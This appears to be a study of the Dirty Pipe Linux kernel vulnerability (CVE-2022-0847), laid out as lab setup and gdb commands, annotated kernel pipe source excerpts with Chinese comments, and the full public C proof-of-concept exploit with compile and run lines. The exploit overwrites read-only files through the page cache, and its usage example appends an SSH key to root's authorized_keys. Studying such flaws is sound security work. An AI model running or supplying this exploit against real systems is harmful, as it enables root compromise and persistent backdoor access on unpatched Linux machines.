cd ~/cve-2022-0847
gcc exp.c -o exp --static && cp exp ./rootfs && cd rootfs
find . | cpio -o --format=newc > ../rootfs.img
cd ../ 
./boot.sh

gdb ./vmlinux
target remote :10086
directory /root/linux-5.13
b do_splice
b copy_page_to_iter_pipe 
b pipe_write
ignore 3 15
...
p *(struct pipe_inode_info *) pipe
p (struct pipe_buffer)pipe->bufs[0]

static ssize_t
pipe_write(struct kiocb *iocb, struct iov_iter *from)
{
	struct file *filp = iocb->ki_filp;
	struct pipe_inode_info *pipe = filp->private_data;
	unsigned int head;
	ssize_t ret = 0;
	size_t total_len = iov_iter_count(from);
	ssize_t chars;
	bool was_empty = false;
	bool wake_next_writer = false;

	··· ···
    ··· ···
	head = pipe->head;
	was_empty = pipe_empty(head, pipe->tail);
	chars = total_len & (PAGE_SIZE-1);
	if (chars && !was_empty) { 
        //[1]pipe 缓存不为空，则尝试是否能从当前最后一页"接着"写
		unsigned int mask = pipe->ring_size - 1;
		struct pipe_buffer *buf = &pipe->bufs[(head - 1) & mask];
		int offset = buf->offset + buf->len; 

		if ((buf->flags & PIPE_BUF_FLAG_CAN_MERGE) &&
		    offset + chars <= PAGE_SIZE) { 
            /*[2]关键，如果PIPE_BUF_FLAG_CAN_MERGE 标志位存在，代表该页允许接着写
             *如果写入长度不会跨页，则接着写，否则直接另起一页 */
			ret = pipe_buf_confirm(pipe, buf);
			···
			ret = copy_page_from_iter(buf->page, offset, chars, from);
			···
			}
			buf->len += ret;
			···
		}
	}

	for (;;) {//[3]如果上一页没法接着写，则重新起一页
		··· ···
		head = pipe->head;
		if (!pipe_full(head, pipe->tail, pipe->max_usage)) {
			unsigned int mask = pipe->ring_size - 1;
			struct pipe_buffer *buf = &pipe->bufs[head & mask];
			struct page *page = pipe->tmp_page;
			int copied;

			if (!page) {//[4]重新申请一个新页
				page = alloc_page(GFP_HIGHUSER | __GFP_ACCOUNT);
				if (unlikely(!page)) {
					ret = ret ? : -ENOMEM;
					break;
				}
				pipe->tmp_page = page;
			}

			spin_lock_irq(&pipe->rd_wait.lock);

			head = pipe->head;
			··· ···
			pipe->head = head + 1;
			spin_unlock_irq(&pipe->rd_wait.lock);

			/* Insert it into the buffer array */
			buf = &pipe->bufs[head & mask];
			buf->page = page;//[5]将新申请的页放到页数组中
			buf->ops = &anon_pipe_buf_ops;
			buf->offset = 0;
			buf->len = 0;
			if (is_packetized(filp))
				buf->flags = PIPE_BUF_FLAG_PACKET;
			else
				buf->flags = PIPE_BUF_FLAG_CAN_MERGE;
            	//[6]设置flag，默认PIPE_BUF_FLAG_CAN_MERGE
			pipe->tmp_page = NULL;

			copied = copy_page_from_iter(page, 0, PAGE_SIZE, from); 
            //[7]拷贝操作
			··· ···
			ret += copied;
			buf->offset = 0;
			buf->len = copied;

			··· ···
		}
        ··· ···
    }
	··· ···
	return ret;
}

static size_t copy_page_to_iter_pipe(struct page *page, size_t offset, size_t bytes,
			 struct iov_iter *i)
{
	struct pipe_inode_info *pipe = i->pipe;
	struct pipe_buffer *buf;
	unsigned int p_tail = pipe->tail;
	unsigned int p_mask = pipe->ring_size - 1;
	unsigned int i_head = i->head;
	size_t off;

	··· ···

	off = i->iov_offset;
	buf = &pipe->bufs[i_head & p_mask];//[1]获取对应的pipe 缓存页
	··· ···
	
	buf->ops = &page_cache_pipe_buf_ops;//[2]修改pipe 缓存页的相关信息指向文件缓存页
	get_page(page);
	buf->page = page;//[2]页指针指向了文件缓存页
	buf->offset = offset;//[2]offset len 等设置为当前信息(通过splice 传入参数决定)
	buf->len = bytes;

	pipe->head = i_head + 1;
	i->iov_offset = offset + bytes;
	i->head = i_head;
out:
	i->count -= bytes;
	return bytes;
}

#define PIPE_BUF_FLAG_CAN_MERGE	0x10	/* can merge buffers */

if (chars && !was_empty) { 
        //[1]pipe 缓存不为空，则尝试是否能从当前最后一页"接着"写
		unsigned int mask = pipe->ring_size - 1;
		struct pipe_buffer *buf = &pipe->bufs[(head - 1) & mask];
		int offset = buf->offset + buf->len; 

    if ((buf->flags & PIPE_BUF_FLAG_CAN_MERGE) &&
                offset + chars <= PAGE_SIZE) { 
                /*[2]关键，如果PIPE_BUF_FLAG_CAN_MERGE 标志位存在，代表该页允许接着写
                 *如果写入长度不会跨页，则接着写，否则直接另起一页 */
                ret = pipe_buf_confirm(pipe, buf);
                ···
                ret = copy_page_from_iter(buf->page, offset, chars, from);

p *(struct pipe_inode_info *) pipe
p (struct pipe_buffer)pipe->bufs[0]

splice(fd, &offset, p[1], NULL, 1, 0);

/* SPDX-License-Identifier: GPL-2.0 */
/*
 * Copyright 2022 CM4all GmbH / IONOS SE
 *
 * author: Max Kellermann <[email protected]>
 *
 * Proof-of-concept exploit for the Dirty Pipe
 * vulnerability (CVE-2022-0847) caused by an uninitialized
 * "pipe_buffer.flags" variable.  It demonstrates how to overwrite any
 * file contents in the page cache, even if the file is not permitted
 * to be written, immutable or on a read-only mount.
 *
 * This exploit requires Linux 5.8 or later; the code path was made
 * reachable by commit f6dd975583bd ("pipe: merge
 * anon_pipe_buf*_ops").  The commit did not introduce the bug, it was
 * there before, it just provided an easy way to exploit it.
 *
 * There are two major limitations of this exploit: the offset cannot
 * be on a page boundary (it needs to write one byte before the offset
 * to add a reference to this page to the pipe), and the write cannot
 * cross a page boundary.
 *
 * Example: ./write_anything /root/.ssh/authorized_keys 1 $'\nssh-ed25519 AAA......\n'
 *
 * Further explanation: https://dirtypipe.cm4all.com/
 */

#define _GNU_SOURCE
#include <unistd.h>
#include <fcntl.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/stat.h>
#include <sys/user.h>

#ifndef PAGE_SIZE
#define PAGE_SIZE 4096
#endif

/**
 * Create a pipe where all "bufs" on the pipe_inode_info ring have the
 * PIPE_BUF_FLAG_CAN_MERGE flag set.
 */
static void prepare_pipe(int p[2])
{
	if (pipe(p)) abort();

	const unsigned pipe_size = fcntl(p[1], F_GETPIPE_SZ);
	static char buffer[4096];

	/* fill the pipe completely; each pipe_buffer will now have
	   the PIPE_BUF_FLAG_CAN_MERGE flag */
	for (unsigned r = pipe_size; r > 0;) {
		unsigned n = r > sizeof(buffer) ? sizeof(buffer) : r;
		write(p[1], buffer, n);
		r -= n;
	}

	/* drain the pipe, freeing all pipe_buffer instances (but
	   leaving the flags initialized) */
	for (unsigned r = pipe_size; r > 0;) {
		unsigned n = r > sizeof(buffer) ? sizeof(buffer) : r;
		read(p[0], buffer, n);
		r -= n;
	}

	/* the pipe is now empty, and if somebody adds a new
	   pipe_buffer without initializing its "flags", the buffer
	   will be mergeable */
}

int main(int argc, char **argv)
{
	if (argc != 4) {
		fprintf(stderr, "Usage: %s TARGETFILE OFFSET DATA\n", argv[0]);
		return EXIT_FAILURE;
	}

	/* dumb command-line argument parser */
	const char *const path = argv[1];
	loff_t offset = strtoul(argv[2], NULL, 0);
	const char *const data = argv[3];
	const size_t data_size = strlen(data);

	if (offset % PAGE_SIZE == 0) {
		fprintf(stderr, "Sorry, cannot start writing at a page boundary\n");
		return EXIT_FAILURE;
	}

	const loff_t next_page = (offset | (PAGE_SIZE - 1)) + 1;
	const loff_t end_offset = offset + (loff_t)data_size;
	if (end_offset > next_page) {
		fprintf(stderr, "Sorry, cannot write across a page boundary\n");
		return EXIT_FAILURE;
	}

	/* open the input file and validate the specified offset */
	const int fd = open(path, O_RDONLY); // yes, read-only! :-)
	if (fd < 0) {
		perror("open failed");
		return EXIT_FAILURE;
	}

	struct stat st;
	if (fstat(fd, &st)) {
		perror("stat failed");
		return EXIT_FAILURE;
	}

	if (offset > st.st_size) {
		fprintf(stderr, "Offset is not inside the file\n");
		return EXIT_FAILURE;
	}

	if (end_offset > st.st_size) {
		fprintf(stderr, "Sorry, cannot enlarge the file\n");
		return EXIT_FAILURE;
	}

	/* create the pipe with all flags initialized with
	   PIPE_BUF_FLAG_CAN_MERGE */
	int p[2];
	prepare_pipe(p);

	/* splice one byte from before the specified offset into the
	   pipe; this will add a reference to the page cache, but
	   since copy_page_to_iter_pipe() does not initialize the
	   "flags", PIPE_BUF_FLAG_CAN_MERGE is still set */
	--offset;
	ssize_t nbytes = splice(fd, &offset, p[1], NULL, 1, 0);
	if (nbytes < 0) {
		perror("splice failed");
		return EXIT_FAILURE;
	}
	if (nbytes == 0) {
		fprintf(stderr, "short splice\n");
		return EXIT_FAILURE;
	}

	/* the following write will not create a new pipe_buffer, but
	   will instead write into the page cache, because of the
	   PIPE_BUF_FLAG_CAN_MERGE flag */
	nbytes = write(p[1], data, data_size);
	if (nbytes < 0) {
		perror("write failed");
		return EXIT_FAILURE;
	}
	if ((size_t)nbytes < data_size) {
		fprintf(stderr, "short write\n");
		return EXIT_FAILURE;
	}

	printf("It worked!\n");
	return EXIT_SUCCESS;
}

gcc exp.c -o exp --static
./exp file offset string